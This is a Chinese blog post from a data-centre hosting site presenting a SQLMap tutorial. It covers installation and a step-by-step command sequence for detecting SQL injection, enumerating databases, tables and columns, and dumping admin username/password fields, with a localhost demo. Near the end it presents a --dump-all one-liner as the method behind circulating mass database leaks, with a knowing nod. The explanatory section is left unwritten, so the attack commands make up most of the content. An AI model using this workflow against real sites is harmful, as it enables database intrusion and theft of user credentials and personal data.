新闻中心

佛山德胜数据中心新闻公告

关于SQLMAP注入安全

2019-2-28 德胜数据中心 防御介绍

国内很多类似软件也有阿D,明小子,挖掘机等等,当你用过他们之后你才会发现SQLMap才是绝对的注入神器。

一. 注入原理

*****************************************开始分割线*****************************************

时间原因,这段内容就先不写了

就是因为太重要了所以要整理好在写上哈

虽然事实上是我现在还没搞太明白我会乱说

*****************************************结束分割线*****************************************
二. 安装SQLMap

1. 安装python

官网https://www.python.org/ 选择最新版本下载安装即可

因为SQLMap使用Python写的 ,所以没有Python的环境SQLMap无法运行

2. 安装SQLMap

官网 http://sqlmap.org/ 选择最近版本安装即可

3. 设置环境变量

为了使用便利,将SQLMAP的安装目录添加到系统环境变量中

之后在CMD中就可以直接使用SQLMap了

不设置环境变量的话,要把CMD的当前目录切换到SQLMap安装目录才可以使用


三. SQLMap常用命令介绍

1. sqlmap.py -u "http://www.XXX.com/index.asp?id=1"   

判断id参数是否存在注入:结果中包含 “id” is Vulnerable  字段表示存在注入

存在注入,下面的步骤才可以执行成功~

2. sqlmap.py -u "http://www.XXX.com/index.asp?id=1"  --dbs

列举能列出的所有数据库名

3.  sqlmap.py -u "http://www.XXX.com/index.asp?id=1" --current-db

列出当前使用的数据库名,假设列出“sqltest”数据库

4.  sqlmap.py -u "http://www.XXX.com/index.asp?id=1"  --is-dba

判断该注入点是否有管理员权限:返回true  表示是管理员

5.  sqlmap.py -u "http://www.XXX.com/index.asp?id=1" -D "sqltest" --tables

获取sqltest中的所有表,假设有"admin"表

6.  sqlmap.py -u "http://www.XXX.com/index.asp?id=1" -D "sqltest" -T "admin" --columns

列举表admin的字段(列名),假设存在"username","password"字段

7.  sqlmap.py -u "http://www.XXX.com/index.asp?id=1" -D "sqltest" -T "admin" -C "username,password" --dump

下载字段username,password的值,若询问是否破解md5加密,选择no即可


至此,对一个简单的注入点(GET方式),现在就已经得到了我们想要的数据

想看工具的注入过程 使用-v参数

-level 会提高注入等级(默认0 只会判断get,post参数是否有注入点)

若注入点是POST方式,或是注入点才Cookie,User-Agent中,可以利用-Date 参数 -Cookie参数指定

当然用buip Suite架个代理,截取数据包,直接 -r 参数引入数据包也可以完成上述的注入情况的~


四. 注入Demo

本次演示使用Apache+Php +Mysql 环境,其他环境的话

使用SQLMap输入还是相同的命令,这点SQLMap做的好方便

QQ图片20190228231425.jpg


sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" --dbs 列所有数据库名

QQ图片20190228231631.jpg

sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" --current-db 列出当前数据库

QQ图片20190228231750.jpg

sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" --is-dba   判断注入点是否有管理员权限

QQ图片20190228231842.jpg

sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" -D "test" --tables  猜表名

QQ图片20190228231924.jpg

sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" -D "test" -T "test" --columns  猜字段名

QQ图片20190228232044.jpg

sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" -D "test" -T "test" -C "id,name" --dump 猜id和name的值

QQ图片20190228232218.jpg

网络上很多流传的脱裤 用的可就是下面的一句话,仅供参考。

sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" -D "test" --dump-all
突然发现 强大的东西往往仅仅是一句话 ! !
这条命令会直接把test数据库中所有的表全部下载到安装目录output文件夹中
然后就有了  2000W  xxx 800W xxx ....................你懂得。


*****************************************结束分割线*****************************************

                              佛山德胜数据中心服务器租用,安全咨询请扫二维码添加微信

                        微信图片_20181123112954.jpg

标签: SQLmap安全 服务器安全 数据库安全

发表评论: